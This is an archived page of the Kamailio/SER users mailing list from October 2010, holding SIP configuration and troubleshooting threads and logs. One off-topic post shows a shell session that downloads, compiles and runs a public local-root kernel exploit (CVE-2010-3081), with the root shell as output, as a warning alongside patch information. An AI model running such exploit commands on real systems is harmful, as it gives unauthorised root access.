Hi, Thanks for your quickly support, but after recompile with the lastest git branch 3.0 version, I still meet the same problem. >From my xmpp client, i chat to sip client (e.g 101*sip.htk.com(a)xmpp.htk.com), the xmpp server looking for its database and not found user 101*sip.htk.com. So, it show the error 503. I don't know why the xmpp server not send message to my sip server ? At the current time, can we use the server mode of xmpp module ? If yes, how can establish the connection between xmpp module (on kamailio server) and the xmpp server, if the xmpp module not running at port 5269 ? Thanks, Huy Nguyen www.htk-inc.com Date: Thu, 14 Oct 2010 19:57:57 +0200 From: miconda(a)gmail.com To: huy_quocnguyen(a)live.com CC: sr-users(a)lists.sip-router.org Subject: Re: [SR-Users] Integrate xmpp module with kamailio 3.0.1 Hello, take the latest git version from branch kamailio_3.0. There were some fixes to xmpp module after 3.0.1. Cheers, Daniel On 10/14/10 7:41 PM, Huy Nguyen wrote: Hi all, I'm trying to integrate xmpp module to kamailio 3.0.1. But i wondered about the server mode, if not use the local xmpp server, how to establish the s2s connection with the other xmpp server ? I think it must have the running port 5269 on two xmpp servers to setup the connection. Thanks, Huy Nguyen www.htk-inc.com _______________________________________________ SIP Express Router (SER) and Kamailio (OpenSER) - sr-users mailing list sr-users(a)lists.sip-router.org http://lists.sip-router.org/cgi-bin/mailman/listinfo/sr-users -- Daniel-Constantin Mierla http://www.asipto.com

2 1

Regd: Kamailio + Asterisk
by jack nicolson 15 Oct '10

15 Oct '10

Hi, I am trying to use kamailio as SIP server, so that it receive SIP invite and rewrite to asterisk, the set up is working fine for audio stuff, however for video it is not working properly, For rtsp stream I am getting no media found in asterisk log Could help me in it. Thanks Jack

2 3

Record-route issue in Kamailio 3.0.3
by Morten Isaksen 14 Oct '10

14 Oct '10

Hi, I think I have found a issue with recourd-route in Kamailio 3.0.3. My old setup was: Microsoft OCS <--> (TCP) OpenSER (UDP) <---> (UDP) Mediant 2000 (ISDN). That worked fine. Now I have inserted a new server in this setup. Microsoft OCS <--> (TCP) OpenSER (UDP) <---> (UDP) Kamailio (UDP) <--> (UDP) Mediant 2000 (ISDN). When OpenSer sends the message to Kamailio the recourd-routes look like this: Record-Route: <sip:x.x.248.20;r2=on;lr;ftag=3d9e7d131b> Record-Route: <sip:x.x.248.20;transport=tcp;r2=on;lr;ftag=3d9e7d131b> But when the message comes back from Kamailio it is: Record-Route: <sip:x.x.248.7;lr=on;ftag=3d9e7d131b;did=584.1a683a45>,<sip:x.x.248.20;r2=on;lr;ftag=3d9e7d131b>,<sip:x.x.248.20;transport=tcp;r2=on;lr;ftag=3d9e7d131b> OpenSER forwards the message to the OCS with Record-route unchanged and the OCS gets confused and does not reply. I am not that strong in the SIP RFC's. Is it part of the SIP standard to compact the record-route into one line? Is it a bug in Kamailio or is it just a parameter that needs to be changed? Any help will be much appreciated. -- Morten Isaksen

4 7

Integrate xmpp module with kamailio 3.0.1
by Huy Nguyen 14 Oct '10

14 Oct '10

Hi all, I'm trying to integrate xmpp module to kamailio 3.0.1. But i wondered about the server mode, if not use the local xmpp server, how to establish the s2s connection with the other xmpp server ? I think it must have the running port 5269 on two xmpp servers to setup the connection. Thanks, Huy Nguyen www.htk-inc.com

2 1

where to look
by Anders 14 Oct '10

14 Oct '10

Hi, I was wondering if a message like this below in the syslog contains any lead as to where to look for the problem. The [23582] is a lead to where the problem occured? Oct 14 13:34:52 server1 /usr/local/sbin/kamailio[23582]: ERROR:db_mysql:db_mysql_submit_query: driver error on query: Unknown column 'xxxxx' in 'where clause' And concerning this specific issue, where I put 'xxxxx' appears the src_user. Problem in kamailio.cfg, right? Thanks! //Anders

2 3

redirect on register
by Nick Olkin 14 Oct '10

14 Oct '10

Hi all! I need to implement a kind of Location Server. The idea behind is to process the REGISTER messages and analyze the source IP address of the packet and reply with the "302 Moved Temporarily" message. What I want to achieve - provide the SIP client with the "nearest" point to use for registration and further communications. The possible approach is: 1. make some list of available registrars/SBC's mapped to appropriate IP (sub)networks. 2. configure SER to process REGISTER messages and reply with "302 Moved Temporarily" having the IP or name of "nearest" point in Contact field. Does anybody have any ideas on possible implementations (with SER or perhaps with some other tools)? Thanks a lot! PS. At this moment I can certainly send "302 Moved Temporarily" on REGISTER with SER, but I have no idea on how to insert correct Contact header, so my SIP client just stops registering.

1 0

Re: [SR-Users] Regarding SER Listening on two ports
by Saurabh Srivastava 14 Oct '10

14 Oct '10

Hello, We are facing a problem after doing the changes that you said to do in the configuration file. Now we are able to get the server listening on two ports such as 5060 & 5062 but now the problem is that the user agent which is registered from 5060 is able to communicate with the other user agent registered to 5060 and the same is true for the other port 5062 (i.e. the user agent which is registered from 5062 is able to communicate with the other user agent registered to 5062.). But there is no communication happening in case of one user is registered to 5060 and the other user is registered through 5062. Please help us in this regard. Thanks and Best Regards Saurabh Srivastava On Wed, Oct 13, 2010 at 5:59 PM, Saurabh Srivastava <saurabh(a)atc-labs.com>wrote: > Hello Andrei, > > Wwhere do we need to add this line > > "listen=eth0:5060 eth0:5062" > > in the ser.cfg file or somewhere else. Please guide me through the steps or > if it is possible can you please attach an example ser.cfg for listening on > 2 ports. > > Thanks and Best Regards > Saurabh Srivastava > > On Fri, Oct 8, 2010 at 1:28 PM, Andrei Pelinescu-Onciul < > andrei(a)iptel.org> wrote: > >> On Oct 06, 2010 at 11:43, Saurabh Srivastava <saurabh(a)atc-labs.com> >> wrote: >> > Hello SER Team, >> > >> > We are using SER as a SIP Server for our purpose. We wan to configure >> SER to >> > listen on two ports at the same time(i.e. 5060 & some other custom port >> such >> > as 5090 or something like that). Can you please assist us how can we >> achieve >> > this, means what changes we need to make such that SER listens on two >> ports >> > at the same time. >> >> Add >> listen=eth0:5060 eth0:5062 >> >> The generic format is: listen=[proto:]ip_hostname_or_interface[:port]. >> >> You can also do it form the command line. e.g.: >> ser -f yourconfig -l 127.0.0.1:5060 -l 127.0.0.1:5062 >> >> Andre > >

1 0

Use Kamailio
by michel freiha 14 Oct '10

14 Oct '10

*Dear All, I'm planning to use Kamailio in a high network traffic environment... I'm sure that it can handle several thousand of calls when using SIP over UDP but I have a doubt regarding TLS/TCPusage with Kamailio...I saw on the website that the latest version fixed that BUG that I had bad experience with and Kamailio is ready now for using TLS over TCP with no problem... My question is, how much TLS/TCP calls Kamailio can handle and does anyone had an experience with it? Regards*

2 1

forward sip register
by Borin 14 Oct '10

14 Oct '10

Hello, I am not good at kamailio. Could anyone tell me how can I forward register messages coming to kamailio to asterisk? I need users to be registered on kamailio and on asterisk at one time. I do in kamailio.cfg: if (is_method("REGISTER")) { save("location"); route(FWD_REG); exit; } route[FWD_REG] { rewritehost("Asterisk_IP:5060"); if(!t_relay()) sl_reply_error(); exit; } But it (kamailio ver 3.1) does not forward them.

3 9

[OT] Local root exploit for the x86_64 Linux kernel ia32syscall emulation vulnerability
by Iñaki Baz Castillo 14 Oct '10

14 Oct '10

In any Linux Kernel 64 bits < 2.6.36-rc4: -------------------------------------------- ibc@myserver :/tmp$ whoami ibc ibc@myserver:/tmp$ wget http://packetstormsecurity.org/1009-exploits/robert_you_suck.c ibc@myserver:/tmp$ gcc -o putada robert_you_suck.c ibc@myserver:/tmp$ ./putada resolved symbol commit_creds to 0xffffffff81092120 resolved symbol prepare_kernel_cred to 0xffffffff81091fa0 mapping at 3f80000000 UID 0, EUID:0 GID:0, EGID:0 sh-3.2# whoami root <----------- OPSSSS !!! -------------------------------------------- More info: http://packetstormsecurity.org/filedesc/robert_you_suck.c.html Fixed in Debian (kernel patch backported): http://security-tracker.debian.org/tracker/CVE-2010-3081 - lenny (security) 2.6.26-25lenny1 fixed - lenny-backports 2.6.32-23~bpo50+1 fixed - squeeze 2.6.32-23 fixed -- Iñaki Baz Castillo <ibc(a)aliax.net>

1 0

Best ASR with Kamailio
by Yury Naumovich 13 Oct '10

13 Oct '10

Good day. How with Kamailio improve ASR to ~100%, if we have 3-4 wholesale Voip providers? Each can guaranty only ASR 60-70%. Best regards, Yury

2 1

rtp proxy - where to invoke?
by Anders 13 Oct '10

13 Oct '10

Hi, I'm trying to get the RTP proxy to work with Kamailio (1.5), but right now I am getting this error here: Oct 13 16:54:44 vn1031 /usr/local/sbin/kamailio[13622]: ERROR:nathelper:force_rtp_proxy: incorrect port 0 in reply from rtp proxy There is probably something wrong in my cfg - for the use of force_rtp_proxy that part of my config is here below. See anything odd that could lead to the error above? route { ...... route(4); ...... } route[4]{ force_rport(); if (nat_uac_test("19")) { if (method=="REGISTER") { fix_nated_register(); } else { fix_nated_contact(); } setflag(5); } return; } route[5] { if (is_method("BYE")) { unforce_rtp_proxy(); } else if (is_method("INVITE")){ force_rtp_proxy(); } if (!has_totag()) add_rr_param(";nat=yes"); return; } onreply_route[1] { xdbg("incoming reply\n"); if (!(status =~ "183" || status =~ "200")) exit; #fix_nated_contact(); force_rtp_proxy(); }

2 1

core:parse error
by Anders 13 Oct '10

13 Oct '10

Hi, I'm getting a bunch of these sequences in my syslog - and have absolutely no idea where to look for the problem. Any pointers, please? Oct 13 08:12:34 vn1031 /usr/local/sbin/kamailio[2821]: ERROR:core:parse_cseq: expecting CSeq EoL Oct 13 08:12:34 vn1031 /usr/local/sbin/kamailio[2821]: ERROR:core:parse_cseq: bad cseq Oct 13 08:12:34 vn1031 /usr/local/sbin/kamailio[2821]: ERROR:core:get_hdr_field: bad cseq Oct 13 08:12:34 vn1031 /usr/local/sbin/kamailio[2821]: ERROR:maxfwd:is_maxfwd_present: parsing MAX_FORWARD header failed! Thanks!! --Anders

2 1

kamailio-3.1.0+lenny3 + siptrace
by MÉSZÁROS Mihály 13 Oct '10

13 Oct '10

Hello all! I am getting the following problem with 3.1.0 kamailio: ERROR: <core> [sr_module.c:875]: init_mod(): Error while initializing module siptrace (/usr/lib/kamailio/modules_k/siptrace.so) config: loadmodule "siptrace.so" # ----- siptrace params ----- modparam("siptrace", "db_url", "mysql://openser:openserrw@localhost/openser") modparam("siptrace", "table", "sip_trace") modparam("siptrace", "trace_flag", 22) modparam("siptrace", "traced_user_avp", "$avp(s:user)") modparam("siptrace", "trace_on", 1) modparam("siptrace", "trace_sl_acks", 1) modparam("siptrace", "trace_local_ip", "10.1.1.1:5064") Any help appreciated. Best Regards, Misi

3 15

Kamailio Scalability
by michel freiha 13 Oct '10

13 Oct '10

*Dear All, I'm planning to use Kamailio in a high network traffic environment... I'm sure that it can handle several thousand of calls when using SIP over UDP but I have a doubt regarding TLS/TCPusage with Kamailio...I saw on the website that the latest version fixed that BUG that I had bad experience with and Kamailio is ready now for using TLS over TCP with no problem... My question is, how much TLS/TCP calls Kamailio can handle and does anyone had an experience with it? Regards*

1 0

mtree memory comsumption question
by anthony thomas 13 Oct '10

13 Oct '10

Hello list, I have been testing the new mtree module but I am a little bit confused about the results. On my tests, I randomly generated 500K, 1M and 2M entries in a table in several trees. The size of the db (on disk) ranges from 120 megs to 270 megs and when Kamailio loads it in memory, it jumps from 1.0Gb to 2.8Gb. Is there any way to pre-calculate the total amount of memory that a tree will need? Thanks, A

2 1

Need some help with showing one of my ITSPs that they have a problem.
by Geoffrey Mina 13 Oct '10

13 Oct '10

Hello, I am currently going through an Inter-Op test with a new carrier and there have been some issues. I have my Kamailio server integrated with many tier-1 carriers, so I'm pretty sure I'm doing everything OK. The problem is in the BYE coming from the ITSP, the URI isn't valid, but I am not sure based on RFC3261 exactly why it isn't correct. If anyone can take a quick glance, I would really appreciate it. Thanks! >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>> OUT >>>>>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> INVITE sip:16782247008@67.150.160.10:5060 SIP/2.0 Record-Route: <sip:X.X.X.90;lr;ftag=as4c62e0b9> Via: SIP/2.0/UDP X.X.X.90;branch=z9hG4bK2aa.c3961912.0 Via: SIP/2.0/UDP X.X.X.238:5060;received=X.X.X.238;branch=z9hG4bK10281a99;rport=5060 From: ""2026097878"" <sip:2026097878@mydomain.com<sip%3A2026097878(a)mydomain.com> >;tag=as4c62e0b9 To: <sip:+16782247008@X.X.X.90:5060> Contact: <sip:2026097878@X.X.X.238> Call-ID: 4199b75502736b01448ce4bf04876d7e(a)mydomain.com CSeq: 102 INVITE User-Agent: G-Tel v1.0 Max-Forwards: 69 Date: Mon, 11 Oct 2010 17:50:31 GMT Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO Supported: replaces P-Charge-Info: ""4019921313"" <sip:4019921313@connectfirst.com<sip%3A4019921313(a)connectfirst.com> > Content-Type: application/sdp Content-Length: 244 v=0 o=root 10137 10137 IN IP4 X.X.X.238 s=session c=IN IP4 X.X.X.238 t=0 0 m=audio 11748 RTP/AVP 0 101 a=rtpmap:0 PCMU/8000 a=rtpmap:101 telephone-event/8000 a=fmtp:101 0-16 a=silenceSupp:off - - - - a=ptime:20 a=sendrecv <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<< IN <<<<<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< SIP/2.0 100 Trying Via: SIP/2.0/UDP X.X.X.90;branch=z9hG4bK2aa.c3961912.0 Via: SIP/2.0/UDP X.X.X.238:5060;received=X.X.X.238;branch=z9hG4bK10281a99;rport=5060 Record-Route: <sip:X.X.X.90;lr;ftag=as4c62e0b9> From: ""2026097878"" <sip:2026097878@mydomain.com<sip%3A2026097878(a)mydomain.com> >;tag=as4c62e0b9 To: <sip:+16782247008@X.X.X.90:5060> Call-ID: 4199b75502736b01448ce4bf04876d7e(a)mydomain.com CSeq: 102 INVITE Contact: <sip:16782247008@67.150.160.10 <sip%3A16782247008(a)67.150.160.10>> Content-Length: 0 <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<< IN <<<<<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< SIP/2.0 183 Session Progress Via: SIP/2.0/UDP X.X.X.90;branch=z9hG4bK2aa.c3961912.0 Via: SIP/2.0/UDP X.X.X.238:5060;received=X.X.X.238;branch=z9hG4bK10281a99;rport=5060 Record-Route: <sip:X.X.X.90;lr;ftag=as4c62e0b9> From: ""2026097878"" <sip:2026097878@mydomain.com<sip%3A2026097878(a)mydomain.com> >;tag=as4c62e0b9 To: <sip:+16782247008@X.X.X.90:5060>;tag=H3jDp3KZmHNja Call-ID: 4199b75502736b01448ce4bf04876d7e(a)mydomain.com CSeq: 102 INVITE Contact: <sip:16782247008@67.150.160.10 <sip%3A16782247008(a)67.150.160.10>> Content-Type: application/sdp Content-Length: 109 v=0 o=ATSI-B1 0 0 IN IP4 67.150.160.10 s=sip call c=IN IP4 67.150.160.10 t=0 0 m=audio 17308 RTP/AVP 0 <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<< IN <<<<<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< SIP/2.0 200 OK Via: SIP/2.0/UDP X.X.X.90;branch=z9hG4bK2aa.c3961912.0 Via: SIP/2.0/UDP X.X.X.238:5060;received=X.X.X.238;branch=z9hG4bK10281a99;rport=5060 Record-Route: <sip:X.X.X.90;lr;ftag=as4c62e0b9> From: ""2026097878"" <sip:2026097878@mydomain.com<sip%3A2026097878(a)mydomain.com> >;tag=as4c62e0b9 To: <sip:+16782247008@X.X.X.90:5060>;tag=H3jDp3KZmHNja Call-ID: 4199b75502736b01448ce4bf04876d7e(a)mydomain.com CSeq: 102 INVITE Contact: <sip:16782247008@67.150.160.10 <sip%3A16782247008(a)67.150.160.10>> Content-Type: application/sdp Content-Length: 109 v=0 o=ATSI-B1 0 0 IN IP4 67.150.160.10 s=sip call c=IN IP4 67.150.160.10 t=0 0 m=audio 17308 RTP/AVP 0 >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>> OUT >>>>>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ACK sip:16782247008@67.150.160.10 <sip%3A16782247008(a)67.150.160.10> SIP/2.0 Via: SIP/2.0/UDP X.X.X.238:5060;branch=z9hG4bK60b74898;rport Route: <sip:X.X.X.90;lr;ftag=as4c62e0b9> From: ""2026097878"" <sip:2026097878@mydomain.com<sip%3A2026097878(a)mydomain.com> >;tag=as4c62e0b9 To: <sip:+16782247008@X.X.X.90:5060>;tag=H3jDp3KZmHNja Contact: <sip:2026097878@X.X.X.238> Call-ID: 4199b75502736b01448ce4bf04876d7e(a)mydomain.com CSeq: 102 ACK User-Agent: G-Tel v1.0 Max-Forwards: 70 Content-Length: 0 <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<< IN <<<<<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< BYE sip:X.X.X.90;lr;ftag=as4c62e0b9 SIP/2.0 Via: SIP/2.0/UDP 67.150.160.10;branch=z9hG4bKvNBHaK6ZByQmg Max-Forwards: 70 From: <sip:+16782247008@X.X.X.90:5060>;tag=H3jDp3KZmHNja To: ""2026097878"" <sip:2026097878@mydomain.com<sip%3A2026097878(a)mydomain.com> >;tag=as4c62e0b9 Call-ID: 4199b75502736b01448ce4bf04876d7e(a)mydomain.com CSeq: 102 BYE Content-Length: 0 >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>> OUT >>>>>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> SIP/2.0 404 Not here Via: SIP/2.0/UDP 67.150.160.10;branch=z9hG4bKvNBHaK6ZByQmg From: <sip:+16782247008@X.X.X.90:5060>;tag=H3jDp3KZmHNja To: ""2026097878"" <sip:2026097878@mydomain.com<sip%3A2026097878(a)mydomain.com> >;tag=as4c62e0b9 Call-ID: 4199b75502736b01448ce4bf04876d7e(a)mydomain.com CSeq: 102 BYE Server: Kamailio Content-Length: 0

2 1

failure_route does not fire up after
by Mino Haluz 12 Oct '10

12 Oct '10

Hi, I've been struggling with this problem very long time and I am starting to be quite desperate. I'm trying to implement voicemail redirection after 15 secs of ringing. So I set fr_inv_timer, set the event handler with t_on_failure. But after 15secs of ringing the failture_route block does not execute at all, the transaction is lost and after these 15 secs it has strange behaviour (the phone is still ringing, even after the other side has cancelled the call). I'm attaching the configuration without sensitive data. Please tell me whether problem is in the configuration or somewhere outside of kamailio. Thanks for any suggestion. #!ifdef ACCDB_COMMENT ALTER TABLE acc ADD COLUMN src_user VARCHAR(64) NOT NULL DEFAULT ''; ALTER TABLE acc ADD COLUMN src_domain VARCHAR(128) NOT NULL DEFAULT ''; ALTER TABLE acc ADD COLUMN dst_ouser VARCHAR(64) NOT NULL DEFAULT ''; ALTER TABLE acc ADD COLUMN dst_user VARCHAR(64) NOT NULL DEFAULT ''; ALTER TABLE acc ADD COLUMN dst_domain VARCHAR(128) NOT NULL DEFAULT ''; ALTER TABLE missed_calls ADD COLUMN src_user VARCHAR(64) NOT NULL DEFAULT ''; ALTER TABLE missed_calls ADD COLUMN src_domain VARCHAR(128) NOT NULL DEFAULT ''; ALTER TABLE missed_calls ADD COLUMN dst_ouser VARCHAR(64) NOT NULL DEFAULT ''; ALTER TABLE missed_call ADD COLUMN dst_user VARCHAR(64) NOT NULL DEFAULT ''; ALTER TABLE missed_calls ADD COLUMN dst_domain VARCHAR(128) NOT NULL DEFAULT ''; #!endif # ----------------------------------------------------------------------------------------- #!define WITH_MYSQL #!define WITH_AUTH #!define WITH_USRLOCDB #!define WITH_NAT # ----------------------------------------------------------------------------------------- ####### Global Parameters ######### #!ifdef WITH_DEBUG debug=4 log_stderror=yes #!else debug=2 log_stderror=no #!endif memdbg=5 memlog=5 log_facility=LOG_LOCAL7 fork=yes #fork=yes children=4 /* uncomment the next line to disable TCP (default on) */ #disable_tcp=yes /* uncomment the next line to disable the auto discovery of local aliases based on revers DNS on IPs (default on) */ #auto_aliases=no /* uncomment and configure the following line if you want Kamailio to bind on a specific interface/port/proto (default bind on all available) */ listen=udp:1.1.1.1:5060 # ----------------------------------------------------------------------------------------- alias=test # ----------------------------------------------------------------------------------------- port=5060 ####### Custom Parameters ######### # These parameters can be modified runtime via RPC interface # - see the documentation of 'cfg_rpc' module. # # Format: group.id = value 'desc' description # Access: $sel(cfg_get.group.id) or @cfg_get.group.id # ####### Modules Section ######## #set module path #mpath="/usr/local/lib/kamailio/modules_k/:/usr/local/lib/kamailio/modules/" mpath="/lib/kamailio/modules_k/:/lib/kamailio/modules/" /* uncomment next line for MySQL DB support */ #!ifdef WITH_MYSQL loadmodule "db_mysql.so" #!endif loadmodule "mi_fifo.so" loadmodule "kex.so" loadmodule "tm.so" loadmodule "tmx.so" loadmodule "sl.so" loadmodule "rr.so" loadmodule "pv.so" loadmodule "maxfwd.so" loadmodule "usrloc.so" loadmodule "registrar.so" loadmodule "textops.so" loadmodule "uri_db.so" loadmodule "siputils.so" loadmodule "xlog.so" loadmodule "sanity.so" loadmodule "ctl.so" loadmodule "mi_rpc.so" loadmodule "acc.so" # Addition modules # ----------------------------------------------------------------------------------------- loadmodule "avpops.so" loadmodule "regex.so" loadmodule "sqlops.so" loadmodule "dialog.so" loadmodule "call_control.so" loadmodule "mediaproxy.so" loadmodule "siptrace.so" loadmodule "mi_datagram.so" loadmodule "group.so" loadmodule "permissions.so" # ----------------------------------------------------------------------------------------- modparam("mi_datagram", "socket_name", "/var/run/kamailio/kamailio.sock") # The name of a UNIX SOCKET used by Callcontrol modparam("dialog", "dlg_flag", 4) #modparam("call_control", "disable", 0) #modparam("call_control", "signaling_ip_avp", "$avp(s:signaling_ip)") # ----------------------------------------------------------------------------------------- modparam("sqlops","sqlcon","ca=>mysql:/") # The definition of a DB connection modparam("mediaproxy", "mediaproxy_socket", "/var/run/mediaproxy/dispatcher.sock") # Path to the filesystem socket where the mediaproxy dispatcher listens for commands # ----------------------------------------------------------------------------------------- modparam("tm", "ruri_matching", 1) modparam("tm", "restart_fr_on_each_reply", 0) # Final response timer will be re-triggered for each received provisional reply #modparam("tm", "fr_timer", 15000) # Timer which hits if no final reply for an INVITE arrives (15 sec) modparam("tm", "fr_inv_timer", 15000) # Timer which hits if no final reply for an INVITE arrives (15 sec) # ----------------------------------------------------------------------------------------- modparam("siptrace", "db_url", "") # Database URL modparam("siptrace", "traced_user_avp", "$avp(s:traced_user)") modparam("siptrace", "trace_on", 1) modparam("siptrace", "trace_flag", 22) # Flag is used to mark messages to trace # ----------------------------------------------------------------------------------------- # Radius settings modparam("acc", "failed_transaction_flag", 1) modparam("acc", "report_cancels", 0) modparam("acc", "report_ack", 0) modparam("acc", "early_media", 0) modparam("acc", "log_level", 1) modparam("acc", "log_flag", 1) modparam("acc", "log_missed_flag", 1) modparam("acc", "radius_config", "/etc/radiusclient-ng/radiusclient.conf") # This is the location of the configuration file of radius client modparam("acc", "radius_flag", 1) modparam("acc", "radius_missed_flag", 1) modparam("acc", "radius_extra", "User-Name=$Au; \ Calling-Station-Id=$from; \ Called-Station-Id=$to; \ Sip-Translated-Request-URI=$avp(s:translated_uri); \ Sip-RPid=$avp(s:rpid); \ Source-IP=$si; \ Source-Port=$sp; \ Canonical-URI=$avp(s:can_uri); \ Billing-Party=$avp(s:billing_party); \ Divert-Reason=$avp(s:divert_reason); \ X-RTP-Stat=$hdr(X-RTP-Stat); \ Contact=$hdr(contact); \ Event=$hdr(event); \ SIP-Proxy-IP=$avp(s:sip_proxy_ip); \ ENUM-TLD=$avp(s:enum_tld)") # ----------------------------------------------------------------------------------------- #!ifdef WITH_AUTH loadmodule "auth.so" loadmodule "auth_db.so" #!endif /* uncomment next line for aliases support NOTE: a DB (like db_mysql) module must be also loaded */ #loadmodule "alias_db.so" /* uncomment next line for multi-domain support NOTE: a DB (like db_mysql) module must be also loaded NOTE: be sure and enable multi-domain support in all used modules (see "multi-module params" section ) */ loadmodule "domain.so" #!ifdef WITH_PRESENCE loadmodule "presence.so" loadmodule "presence_xml.so" #!endif #!ifdef WITH_NAT loadmodule "nathelper.so" #!endif loadmodule "uac.so" # ----------------- setting module-specific parameters --------------- # --- enable CLI with append_rpid_hf --- modparam("auth", "rpid_prefix", "<sip:") modparam("auth", "rpid_suffix", "@1.1.1.1;user=phone>;party=calling; screen=yes; privacy=off") #modparam("auth", "rpid_avp", "$avp(s:rpid)") # ----- mi_fifo params ----- # ----------------------------------------------------------------------------------------- modparam("mi_fifo", "fifo_name", "/tmp/kamailio_fifo") # ----------------------------------------------------------------------------------------- # ----- rr params ----- # add value to ;lr param to cope with most of the UAs modparam("rr", "enable_full_lr", 1) # do not append from tag to the RR (no need for this script) modparam("rr", "append_fromtag", 1) # ----- rr params ----- modparam("registrar", "method_filtering", 1) /* uncomment the next line to disable parallel forking via location */ # modparam("registrar", "append_branches", 0) /* uncomment the next line not to allow more than 10 contacts per AOR */ #modparam("registrar", "max_contacts", 10) # ----- uri_db params ----- /* by default we disable the DB support in the module as we do not need it in this configuration */ modparam("uri_db", "use_uri_table", 0) modparam("uri_db", "db_url", "mysql://") modparam("domain", "db_url", "mysql://") # ----- acc params ----- /* what sepcial events should be accounted ? */ modparam("acc", "early_media", 1) modparam("acc", "report_ack", 1) modparam("acc", "report_cancels", 1) /* by default ww do not adjust the direct of the sequential requests. if you enable this parameter, be sure the enable "append_fromtag" in "rr" module */ modparam("acc", "detect_direction", 0) /* account triggers (flags) */ modparam("acc", "failed_transaction_flag", 3) modparam("acc", "log_flag", 1) modparam("acc", "log_missed_flag", 2) modparam("acc", "log_extra", "src_user=$fU;src_domain=$fd;dst_ouser=$tU;dst_user=$rU;dst_domain=$rd") /* enhanced DB accounting */ #!ifdef WITH_ACCDB modparam("acc", "db_flag", 1) modparam("acc", "db_missed_flag", 2) modparam("acc", "db_url", "mysql://") modparam("acc", "db_extra", "src_user=$fU;src_domain=$fd;dst_ouser=$tU;dst_user=$rU;dst_domain=$rd") #!endif # ----- usrloc params ----- /* enable DB persistency for location entries */ #!ifdef WITH_USRLOCDB modparam("usrloc", "db_mode", 2) modparam("usrloc", "db_url", "mysql://") #!endif # ----- auth_db params ----- /* enable the DB based authentication */ #!ifdef WITH_AUTH modparam("auth_db", "calculate_ha1", yes) modparam("auth_db", "password_column", "password") modparam("auth_db", "db_url", "mysql://") modparam("auth_db", "load_credentials", "rpid") #!endif # -- group params -- /* for grp mysql table usage - groups - siptrace, blocked*/ modparam("group", "db_url", "mysql://") modparam("group", "table", "grp") modparam("group", "user_column", "username") modparam("group", "domain_column", "domain") modparam("group", "group_column", "grp") # -- permissions params -- /* for trusted table usage and other functions - other modparam are default */ modparam("permissions", "db_url", "mysql://") modparam("permissions", "db_mode", 1) # ----- alias_db params ----- /* uncomment the following lines if you want to enable the DB based aliases */ #modparam("alias_db", "db_url", # "mysql://") # ----- domain params ----- /* uncomment the following lines to enable multi-domain detection support */ #modparam("domain", "db_url", # "mysql://") #modparam("domain", "db_mode", 1) # Use caching # ----- multi-module params ----- /* uncomment the following line if you want to enable multi-domain support in the modules (dafault off) */ #modparam("alias_db|auth_db|usrloc|uri_db", "use_domain", 1) # ----- presence params ----- /* enable presence server support */ #!ifdef WITH_PRESENCE modparam("presence|presence_xml", "db_url", "mysql://") modparam("presence_xml", "force_active", 1) modparam("presence", "server_address", "sip:10.0.0.10:5060") #!endif # ----- nathelper ----- #!ifdef WITH_NAT #modparam("nathelper", "rtpproxy_sock", "udp:127.0.0.1:7722") #modparam("nathelper", "natping_interval", 30) #modparam("nathelper", "ping_nated_only", 1) #modparam("nathelper", "sipping_bflag", 7) #modparam("nathelper", "sipping_from", "sip:pinger@kamailio.org<sip%3Apinger(a)kamailio.org> ") modparam("registrar|nathelper", "received_avp", "$avp(i:80)") modparam("usrloc", "nat_bflag", 6) #!endif ####### Routing Logic ######## # main request routing logic route{ #------------SANITY CHECK---------------------------------------------------------------- xlog("L_INFO","XLOG ****************START*($rm)*S_IP($si)*CallID($ci)*********************"); if (!mf_process_maxfwd_header("10")) { sl_send_reply("483","Too Many Hops"); xlog("L_INFO","XLOG: Too many hops man"); xlog("L_INFO","XLOG: exiting ----------------------------------------"); exit; } if(!sanity_check("1511", "7")) { xlog("L_INFO","XLOG: Malformed SIP message"); xlog("Malformed SIP message from $si:$sp\n"); xlog("L_INFO","XLOG: exiting ----------------------------------------"); exit; } # NAT detection xlog("L_INFO", "XLOG: Performing NAT detection"); route(NAT); if (has_totag()) { # sequential request withing a dialog should # take the path determined by record-routing if (loose_route()) { xlog("L_INFO", "XLOG: loose_route()"); if (is_method("BYE")) { xlog('L_INFO', 'XLOG: Method is BYE'); setflag(1); # do accounting ... setflag(3); # ... even if the transaction fails # end_media_session(); } route(RELAY); } else { if (is_method("SUBSCRIBE") && uri == myself) { xlog('L_INFO', 'XLOG: Method is SUBSCRIBE and uri == myself'); # in-dialog subscribe requests route(PRESENCE); #!ifndef WITH_PRESENCE #added by yenkee sl_send_reply("403", "Not Allowed"); #!endif xlog("L_INFO","XLOG: exiting ----------------------------------------"); exit; } if ( is_method("ACK") ) { xlog('L_INFO', 'XLOG: Method is ACK'); if ( t_check_trans() ) { # non loose-route, but stateful ACK; must be an ACK after a 487 or e.g. 404 from upstream server xlog('L_INFO', 'XLOG: t_check_trans()'); t_relay(); xlog("L_INFO","XLOG: exiting 